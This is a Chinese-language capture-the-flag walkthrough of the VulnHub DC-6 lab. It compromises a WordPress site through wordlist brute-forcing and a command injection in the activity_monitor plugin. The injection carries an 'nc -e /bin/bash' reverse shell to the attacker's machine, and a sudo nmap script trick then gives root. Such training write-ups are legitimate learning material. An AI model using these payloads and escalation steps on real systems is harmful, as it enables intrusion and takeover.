一.环境搭建
1.靶场描述
DC-6 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
This isn't an overly difficult challenge so should be great for beginners.
The ultimate goal of this challenge is to get root and to read the one and only flag.
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.
只有一个flag
2.靶场下载地址
https://www.vulnhub.com/entry/dc-6,315/
3.启动靶场环境
下载下来是虚拟机压缩文件,直接用Vmvare导入就行。然后调一下网络,建议调成NAT模式,桥接其实也行.
虚拟机开启之后界面如上,我们不知道ip,需要自己探活,网段知道:192.168.52.0/24
二.渗透靶场
1.目标
目标就是我们搭建的靶场,靶场IP为:192.168.52.0/24
2.信息收集
(1)寻找靶机真实IP
使用nmap进行探活,寻找靶机ip
namp -sP 192.168.52.0/24
arp-scan -l
我们知道靶场ip地址为192.168.52.137
(2)探端口及服务
nmap -A -v -p- 192.168.52.137
发现开放了80端口,存在web服务,Apache httpd 2.4.25 (Debian)
发现开放了22端口,OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
也可以使用masscan探活端口
masscan --rate=10000 --ports 0-65535 192.168.52.137
(3)web指纹识别
3.渗透测试
(1)访问web服务
http://192.168.52.137
发现找不到,我们可以明显的看到ip变成了域名,那可以知道是由于DNS解析失败导致的,我们就需要在hosts文件中添加指向。
1)windows修改hosts文件
打开hosts文件,hosts文件路径如下
C:\WINDOWS\system32\drivers\etc
添加如下内容
192.168.52.137 wordy
2)liunx修改hosts文件
hosts文件路径如下
/etc/hosts
Vim修改hosts文件
vim /etc/hosts
3)hosts文件修改成功
(2)扫描web服务
1)棱洞3.0指纹识别
./EHole_linux_amd64 finger -u http://192.168.52.137
2)nikto扫描网站结构
使用nikto工具扫描网站结构,发现登录页面wp-login.php和一些其他的目录
nikto -h http://192.168.52.137
(3)进行渗透测试
1)访问登录页面
但是我们不知道用户名和密码,我们可以进行爆破
2)获取用户名
我们使用wpscan进行爆破用户名
使用wpscan工具对wordpress网站扫描获取WordPress可以登录的用户
wpscan --url wordy -e u
我们可以发现5个用户名
3)制作用户字典
题目中给出了提示,告诉了我们密码字典的生成方式
cd /usr/share/wordlists
cp rockyou.txt.gz rockyou.txt.gz.bak
gunzip rockyou.txt.gz rockyou.txt
cat /usr/share/wordlists/rockyou.txt | grep k01 > wordy-pass1.dic
4)爆破用户名和密码
爆破时间有点长
用户名是mark 密码helpdesk01
5)进行登录
http://wordy/wp-login.php
Mark/helpdesk01
6)发现RCE漏洞
简单看一下页面,发现存在activity_monitor插件,存在功能 IP 转十进制和一个域名解析lookup的功能、使用nslookup命令执行的,可能存在一个RCE的漏洞。
发现长度限制并绕过
发现在前端做了长度限制,最长长度只能输入15个字符,就是说输入114.114.114.114的话没办法加命令,这里提供两个思路,一个就是采用burp抓包修改,一个就是直接修改html
我这里采用修改html的方式绕过长度限制
打开开发者模式F12
输入114.114.114.114,点击lookup,采用小箭头找到输入框,找到114的位置,把114.114.114.114改成114.114.114.114;whoami,然后再次点击lookup,命令执行成功,同理我们可以反弹shell
我们使用看到无法输入
(4)反弹shell到kali
1)kali进行监听
nc -lvnp 55555
2)靶机执行命令
把html输入内容位置改成反弹的命令
114.114.114.114;nc -e /bin/bash 192.168.52.152 55555
3)监听成功
4)进入交互式shell
这个shell不好用,进入交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
(5)进行提权
1)尝试suid提权失败
查找具有suid权限的程序
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
没有发现可以利用的程序,我们换一个思路
2)查找可执行操作
执行sudo -l,发现需要www-data的密码
sudo -l
我们切换到home目录下,可以发现有4个用户名
我们一个一个进行查看,最后进入到mark用户的家目录下,stuff文件下有一个things-to-do.txt文件,查看文件内容发现graham用户及登录密码
可以看到有一个stuff文件
3)切换到graham用户
我们切换用户为graham,输入密码GSo7isUM1D4
4)发现jens目录下backups.sh文件
/home/jens/backups.sh
查看备份文件
cat /home/jens/backrups.sh
发现里面是如下命令,是对web的文件进行打包备份
tar -czf backups.tar.gz /var/www/html
5)切换到jens 用户
向backups.sh文件中写入”/bin/bash”,并以jens用户去执行该脚本
脚本执行成功后,切换到jens用户
6)发现jens可在无密码下执行nmap
再次查看jens可以执行的操作,发现jens可以在无密码情况下使用nmap命令
可以看到root
7)提权成功
百度到可以写入一条命令到getShell,并通过nmap运行getShell成功进入root用户,在/root目录下找到theflag.txt文件
echo 'os.execute("/bin/sh")' > getShell
sudo nmap --script=getShell
8)发现flag
三.相关资源
1.靶场下载地址
2.nmap
3.arp-scan
4.masscan
5.[ 常用工具篇 ] 渗透神器 whatweb 安装使用详解
6.[ 渗透工具篇 ] EHole(棱洞)3.0安装部署及详解(linux & win)
7.nikto
8.wpscan
9.[ 隧道技术 ] 反弹shell的集中常见方式(一)nc反弹shell
10.[ 常用工具篇 ] burpsuite_pro 安装配置详解(附安装包)
11.简谈SUID提权
12.实现交互式shell的几种方式
13.修改hosts文件
评论区
欢迎你留下宝贵的意见,昵称输入QQ号会显示QQ头像哦~